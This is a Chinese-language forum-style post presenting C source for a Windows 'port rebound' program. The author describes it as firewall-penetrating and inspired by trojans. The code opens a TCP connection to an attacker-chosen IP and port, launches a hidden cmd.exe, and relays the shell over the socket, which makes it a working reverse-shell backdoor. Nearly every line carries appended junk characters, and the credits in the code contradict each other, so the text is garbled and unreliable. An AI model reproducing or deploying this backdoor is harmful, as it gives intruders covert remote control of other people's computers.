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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 X%s5D&gr  
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/* ============================== ,=CipL9]  
Rebound port in Windows NT \?v&JmEU  
By wind,2006/7 qspGNu  
===============================*/ X\!q8KEpR&  
#include MF.!D;s  
#include IW i0? V  
~rO&Y{aG#  
#pragma comment(lib,"wsock32.lib") V C VqUCc  
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void OutputShell(); 2|\mBP`ok  
SOCKET sClient; I`XOvSO  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; -"ZNkC =  
V^FM-bg%9  
void main(int argc,char **argv) )G/=3;!  
{ ESoqmCJjb:  
WSADATA stWsaData; i#YDdz  
int nRet; <H] PP6_g:  
SOCKADDR_IN stSaiClient,stSaiServer; ;DX{+Z[  
 ::02?  
if(argc != 3) 0_je@p+$  
{ ynra%"sd  
printf("Useage:\n\rRebound DestIP DestPort\n"); "UD)3_R  
return; 0y<9JvN$9  
} 9Oj b~  
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WSAStartup(MAKEWORD(2,2),&stWsaData); [wSoZBl  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); hb~d4J=S  
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stSaiClient.sin_family = AF_INET; wH@< 0lw`<  
stSaiClient.sin_port = htons(0); OO/>}? ob  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); zx "EAF{  
Bi fI.2|  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ]b}3f<  
{ JfJ ln[  
printf("Bind Socket Failed!\n"); yD3vq}U!  
return; }mp`!7?>O  
} PJKY$s.  
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stSaiServer.sin_family = AF_INET; o|n;{zT"  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); J%ws-A?6rN  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); H h](n<Bs  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) H4v%$R;K  
{ `4@` G:6BL  
printf("Connect Error!"); :, H_ e! X  
return; .Sw4{m[g  
} </<z7V,{  
OutputShell(); PNLlJlYlP  
} 24InwR|^  
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void OutputShell()  A|IPQ=  
{ jyg>'"W  
char szBuff[1024];  gHUW1E  
SECURITY_ATTRIBUTES stSecurityAttributes; >@4Ds"Ye"O  
OSVERSIONINFO stOsversionInfo; 05 6yhB  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; n$j B"1  
STARTUPINFO stStartupInfo; >Gg[J=7`  
char *szShell; aAoAjVNkK  
PROCESS_INFORMATION stProcessInformation; ;/m>c{  
unsigned long lBytesRead; WR.7%U';  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); gDfM}2]/  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); =fBr2%qK  
stSecurityAttributes.lpSecurityDescriptor = 0; ,t1s#*j\!q  
stSecurityAttributes.bInheritHandle = TRUE; 3S^Qo9S  
YA8/TFu<_  
Tz& cm =  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); BI#(L={5  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ?b^<Tny  
2 (ux  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); )CL/%I,^  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 35-FD{  
stStartupInfo.wShowWindow = SW_HIDE; *Z"Kvj;>u  
stStartupInfo.hStdInput = hReadPipe; ZMyd+C_P2  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; c:z}$DK&'  
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GetVersionEx(&stOsversionInfo); z5:3.+M5  
6x;"T+BSSS  
switch(stOsversionInfo.dwPlatformId) ?1]B(V9nBq  
{ ,aWfGh#$  
case 1: nYRD>S?uz  
szShell = "command.com"; <N 80MU L|  
break; g5Hsz,x  
default: I GcR5/3  
szShell = "cmd.exe"; S9/\L6Rmf  
break; DML0paOm5  
} P#A|Pn<p  
8r\xQr'8h  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); . 55aY~We  
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send(sClient,szMsg,77,0); -IV-"-6(  
while(1) AQ.q?'vE)  
{ 0XIrEwm@%  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); gAi}"} ;  
if(lBytesRead) r:^`005  
{ XnvaT(k7Y  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ;rF:$37^  
send(sClient,szBuff,lBytesRead,0); gY=+G6;=<  
} 6d 8n1_  
else N) z] F9Kg  
{  93 `  
lBytesRead=recv(sClient,szBuff,1024,0); QPF[D7\  
if(lBytesRead<=0) break; |4Q><6"G  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ',RR*{I  
} +n`^W(  
} yFP#z5G  
.Qj`_q6=  
return; 0Zl1(;hx@  
}
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